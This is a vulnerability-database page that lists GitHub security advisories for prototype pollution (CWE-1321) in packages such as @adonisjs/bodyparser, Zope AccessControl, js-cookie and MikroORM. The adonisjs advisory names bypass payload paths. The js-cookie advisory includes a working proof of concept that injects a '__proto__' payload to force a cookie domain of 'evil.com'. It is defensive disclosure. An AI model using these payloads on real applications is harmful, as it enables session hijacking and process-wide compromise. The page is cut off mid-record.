Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

785 vulnerabilities reference this CWE, most recent first.

GHSA-QCCF-Q7P4-3Q3J

Vulnerability from github – Published: 2020-09-04 15:16 – Updated: 2020-08-31 18:55
VLAI
Summary
Prototype Pollution in safe-object2
Details

All versions of safe-object2 are vulnerable to prototype pollution. The settter() function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "safe-object2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:55:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "All versions of `safe-object2` are vulnerable to prototype pollution. The `settter()` function does not restrict the modification of an Object\u0027s prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
  "id": "GHSA-qccf-q7p4-3q3j",
  "modified": "2020-08-31T18:55:32Z",
  "published": "2020-09-04T15:16:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1335"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution in safe-object2"
}

GHSA-QCM7-3VPR-HJ5H

Vulnerability from github – Published: 2026-06-30 18:34 – Updated: 2026-06-30 18:34
VLAI
Summary
@adonisjs/bodyparser has an incomplete fix for CVE-2026-25754
Details

Summary

The fix for GHSA-f5x2-vj4h-vg4c / CVE-2026-25754 introduced in commit 40e1c71 is incomplete and can be bypassed through nested prototype pollution payloads.

The original patch replaced the internal FormFields storage object with Object.create(null), preventing direct payloads such as __proto__.polluted. However, payloads containing a non-dangerous segment before __proto__ or constructor.prototype, such as user.__proto__.polluted, still lead to Object.prototype pollution.

This issue is exploitable remotely through a single unauthenticated multipart/form-data request using the default configuration.

Affected versions

  • >= 10.1.3 < 10.1.5
  • >= 11.0.0-next.9 < 11.0.3

Details

The regression tests added by the original fix only covered direct payloads such as:

  • __proto__.polluted
  • constructor.prototype.polluted

These payloads are blocked because the root object no longer inherits from Object.prototype.

However, lodash _.set() (via @poppinss/utils) still creates intermediate objects using plain {} values. Once a normal segment is encountered, subsequent __proto__ or constructor.prototype segments regain access to Object.prototype.

Impact

An unauthenticated attacker can remotely pollute Object.prototype on any route accepting multipart/form-data requests behind BodyParserMiddleware.

Because the pollution is process-wide, the impact may include authorization bypasses, unexpected behavior in downstream libraries, or prototype pollution gadget chains leading to remote code execution.

Patches

Fixes targeting v6 and v7 have been published below.

Users should upgrade to a version that includes the following fix:

  • https://github.com/adonisjs/bodyparser/releases/tag/v10.1.5
  • https://github.com/adonisjs/bodyparser/releases/tag/v11.0.3

References

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.1.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@adonisjs/bodyparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.3"
            },
            {
              "fixed": "10.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@adonisjs/bodyparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-next.9"
            },
            {
              "fixed": "11.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-30T18:34:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe fix for [GHSA-f5x2-vj4h-vg4c](https://github.com/adonisjs/core/security/advisories/GHSA-f5x2-vj4h-vg4c) / CVE-2026-25754 introduced in commit [`40e1c71`](https://github.com/adonisjs/bodyparser/commit/40e1c71f958cffb74f6b91bed6630dca979062ed) is incomplete and can be bypassed through nested prototype pollution payloads.\n\nThe original patch replaced the internal `FormFields` storage object with `Object.create(null)`, preventing direct payloads such as `__proto__.polluted`. However, payloads containing a non-dangerous segment before `__proto__` or `constructor.prototype`, such as `user.__proto__.polluted`, still lead to `Object.prototype` pollution.\n\nThis issue is exploitable remotely through a single unauthenticated `multipart/form-data` request using the default configuration.\n\n### Affected versions\n\n- `\u003e= 10.1.3 \u003c 10.1.5`\n- `\u003e= 11.0.0-next.9 \u003c 11.0.3`\n\n### Details\n\nThe regression tests added by the original fix only covered direct payloads such as:\n\n- `__proto__.polluted`\n- `constructor.prototype.polluted`\n\nThese payloads are blocked because the root object no longer inherits from `Object.prototype`.\n\nHowever, lodash `_.set()` (via `@poppinss/utils`) still creates intermediate objects using plain `{}` values. Once a normal segment is encountered, subsequent `__proto__` or `constructor.prototype` segments regain access to `Object.prototype`.\n\n### Impact\n\nAn unauthenticated attacker can remotely pollute `Object.prototype` on any route accepting multipart/form-data requests behind `BodyParserMiddleware`.\n\nBecause the pollution is process-wide, the impact may include authorization bypasses, unexpected behavior in downstream libraries, or prototype pollution gadget chains leading to remote code execution.\n\n### Patches\n\nFixes targeting v6 and v7 have been published below.\n\nUsers should upgrade to a version that includes the following fix:\n\n- https://github.com/adonisjs/bodyparser/releases/tag/v10.1.5\n- https://github.com/adonisjs/bodyparser/releases/tag/v11.0.3\n\n### References\n\n- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html)\n- Prior advisory this bypasses: [GHSA-f5x2-vj4h-vg4c](https://github.com/adonisjs/core/security/advisories/GHSA-f5x2-vj4h-vg4c) / CVE-2026-25754",
  "id": "GHSA-qcm7-3vpr-hj5h",
  "modified": "2026-06-30T18:34:32Z",
  "published": "2026-06-30T18:34:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/core/security/advisories/GHSA-f5x2-vj4h-vg4c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/core/security/advisories/GHSA-qcm7-3vpr-hj5h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/bodyparser/commit/40e1c71f958cffb74f6b91bed6630dca979062ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/bodyparser/releases/tag/v10.1.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/bodyparser/releases/tag/v11.0.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adonisjs/core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@adonisjs/bodyparser has an incomplete fix for CVE-2026-25754"
}

GHSA-QCX9-J53G-CCGF

Vulnerability from github – Published: 2021-08-05 17:01 – Updated: 2026-06-09 13:03
VLAI
Summary
Remote Code Execution via unsafe classes in otherwise permitted modules
Details

Impact

The module AccessControl defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope's object database, such as the contents of Script (Python) objects.

The policies defined in AccessControl severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python's string module. However, full access to the string module also allows access to the class Formatter, which can be overridden and extended within Script (Python) in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.

By default, you need to have the admin-level Zope "Manager" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.

Patches

The problem has been fixed in AccessControl 4.3 and 5.2. Only AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.

Workarounds

A site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.

For more information

If you have any questions or comments about this advisory: * Open an issue in the AccessControl issue tracker * Email us at security@plone.org

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N
5.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "AccessControl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "AccessControl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-02T23:00:00Z",
    "nvd_published_at": "2021-07-30T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope\u0027s object database, such as the contents of `Script (Python)` objects. \n\nThe policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python\u0027s `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in AccessControl 4.3 and 5.2.\nOnly AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.\n\n### Workarounds\nA site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [AccessControl issue tracker](https://github.com/zopefoundation/AccessControl/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)",
  "id": "GHSA-qcx9-j53g-ccgf",
  "modified": "2026-06-09T13:03:00Z",
  "published": "2021-08-05T17:01:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/security/advisories/GHSA-g4gq-j4p2-j8fr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/commit/ae2dab0cc34e6dd1561c5b12d4a56cd140f87e1d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/commit/b42dd4badf803bb9fb71ac34cd9cb0c249262f2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/commit/869f947e586517566509e0ccdd4d99b60704cc02"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/commit/f72a18dda8e9bf2aedb46168761668464a4be988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/accesscontrol/PYSEC-2021-335.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/accesscontrol/PYSEC-2021-370.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope/PYSEC-2021-368.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope/PYSEC-2021-875.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zopefoundation/AccessControl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/blob/master/CHANGES.rst#51-2021-07-30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Remote Code Execution via unsafe classes in otherwise permitted modules"
}

GHSA-QF67-WFX4-7JWW

Vulnerability from github – Published: 2026-04-14 18:30 – Updated: 2026-04-14 18:30
VLAI
Details

Acrobat Reader versions 26.001.21411, 24.001.30360, 24.001.30362 and earlier are affected by an Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Severity
8.6 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-14T17:16:51Z",
    "severity": "HIGH"
  },
  "details": "Acrobat Reader versions 26.001.21411, 24.001.30360, 24.001.30362 and earlier are affected by an Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-qf67-wfx4-7jww",
  "modified": "2026-04-14T18:30:36Z",
  "published": "2026-04-14T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34622"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb26-44.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHXH-9HHX-6P7V

Vulnerability from github – Published: 2021-08-02 16:59 – Updated: 2021-07-26 17:47
VLAI
Summary
Prototype Pollution in GraphHopper
Details

This affects the package com.graphhopper:graphhopper-web-bundle before 3.2, from 4.0-pre1 and before 4.0. The URL parser could be tricked into adding or modifying properties of Object.prototype using a constructor or proto payload.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.graphhopper:graphhopper-web-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-26T17:47:03Z",
    "nvd_published_at": "2021-07-21T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This affects the package `com.graphhopper:graphhopper-web-bundle` before 3.2, from 4.0-pre1 and before 4.0. The URL parser could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.",
  "id": "GHSA-qhxh-9hhx-6p7v",
  "modified": "2021-07-26T17:47:03Z",
  "published": "2021-08-02T16:59:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23408"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphhopper/graphhopper/pull/2370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphhopper/graphhopper/releases/tag/3.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphhopper/graphhopper/releases/tag/3.2"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-COMGRAPHHOPPER-1320114"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in GraphHopper"
}

GHSA-QJ86-V6M7-4QV2

Vulnerability from github – Published: 2024-06-17 18:31 – Updated: 2024-07-05 21:14
VLAI
Summary
Object Resolver Prototype Pollution
Details

apphp js-object-resolver < 3.1.1 is vulnerable to Prototype Pollution via Module.setNestedProperty.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apphp/object-resolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-36577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-17T22:30:00Z",
    "nvd_published_at": "2024-06-17T16:15:15Z",
    "severity": "HIGH"
  },
  "details": "apphp js-object-resolver \u003c 3.1.1 is vulnerable to Prototype Pollution via Module.setNestedProperty.",
  "id": "GHSA-qj86-v6m7-4qv2",
  "modified": "2024-07-05T21:14:25Z",
  "published": "2024-06-17T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apphp/js-object-resolver/commit/7e347a26bf04d6a4f7525f6605666afbb218afca"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/c90189f3d8480a5f267395ec40701373"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apphp/js-object-resolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Object Resolver Prototype Pollution"
}

GHSA-QJX8-664M-686J

Vulnerability from github – Published: 2026-05-21 21:20 – Updated: 2026-06-11 14:05
VLAI
Summary
JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection
Details

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution: cls-2026-05-14-01 44 39

Suggested patch

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-cookie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T21:20:31Z",
    "nvd_published_at": "2026-06-10T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`js-cookie`\u0027s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object\u0027s `\"__proto__\"` member is an *own enumerable* property, so the `for\u2026in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch(\u0027/config\u0027).then(r =\u003e r.json());\nCookies.set(\u0027session\u0027, token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs \u2014 full file\nexport default function (target) {\n  for (var i = 1; i \u003c arguments.length; i++) {\n    var source = arguments[i]\n    for (var key in source) {                 // includes own enumerable \u0027__proto__\u0027\n      target[key] = source[key]                // [[Set]] form - fires __proto__ setter\n    }\n  }\n  return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc \u0026\u0026 cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = \u0027\u0027;\nglobalThis.document = {\n  get cookie() { return \u0027\u0027; },\n  set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import(\u0027js-cookie\u0027);\n\nconst attackerAttrs = JSON.parse(\n  \u0027{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}\u0027\n);\n\nCookies.set(\u0027session\u0027, \u0027TOKEN\u0027, attackerAttrs);\n\nconsole.log(\u0027Set-Cookie that js-cookie wrote to document.cookie:\u0027);\nconsole.log(lastSetCookie);\n```\n\nExecution:\n\u003cimg width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" /\u003e\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n   for (var i = 1; i \u003c arguments.length; i++) {\n     var source = arguments[i]\n-    for (var key in source) {\n-      target[key] = source[key]\n-    }\n+    for (var key in source) {\n+      if (key === \u0027__proto__\u0027 || key === \u0027constructor\u0027 || key === \u0027prototype\u0027) continue\n+      Object.defineProperty(target, key, {\n+        value: source[key],\n+        writable: true,\n+        enumerable: true,\n+        configurable: true,\n+      })\n+    }\n   }\n   return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n  if (key === \u0027__proto__\u0027) continue\n  target[key] = source[key]\n}\n```",
  "id": "GHSA-qjx8-664m-686j",
  "modified": "2026-06-11T14:05:06Z",
  "published": "2026-05-21T21:20:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46625"
    },
    {
      "type": "WEB",
      "url": "https://github.com/js-cookie/js-cookie/commit/eb3c40e89731e99b8970faaf35ddad249c6c0020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/js-cookie/js-cookie"
    },
    {
      "type": "WEB",
      "url": "https://github.com/js-cookie/js-cookie/releases/tag/v3.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection"
}

GHSA-QPFV-44F3-QQX6

Vulnerability from github – Published: 2026-03-29 15:44 – Updated: 2026-03-31 18:55
VLAI
Summary
MikroORM has Prototype Pollution in Utils.merge
Details

A prototype pollution vulnerability exists in the Utils.merge helper used internally by MikroORM when merging object structures.

The function did not prevent special keys such as __proto__, constructor, or prototype, allowing attacker-controlled input to modify the JavaScript object prototype when merged.

Exploitation requires application code to pass untrusted user input into ORM operations that merge object structures, such as entity property assignment or query condition construction.

Prototype pollution may lead to denial of service or unexpected application behavior. In certain scenarios, polluted properties may influence query construction and potentially result in SQL injection depending on application code.

Severity
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mikro-orm/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mikro-orm/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0-dev.0"
            },
            {
              "fixed": "7.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:44:16Z",
    "nvd_published_at": "2026-03-31T16:16:32Z",
    "severity": "HIGH"
  },
  "details": "A prototype pollution vulnerability exists in the `Utils.merge` helper used internally by MikroORM when merging object structures.\n\nThe function did not prevent special keys such as `__proto__`, `constructor`, or `prototype`, allowing attacker-controlled input to modify the JavaScript object prototype when merged.\n\nExploitation requires application code to pass untrusted user input into ORM operations that merge object structures, such as entity property assignment or query condition construction.\n\nPrototype pollution may lead to denial of service or unexpected application behavior. In certain scenarios, polluted properties may influence query construction and potentially result in SQL injection depending on application code.",
  "id": "GHSA-qpfv-44f3-qqx6",
  "modified": "2026-03-31T18:55:10Z",
  "published": "2026-03-29T15:44:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-qpfv-44f3-qqx6"
    },
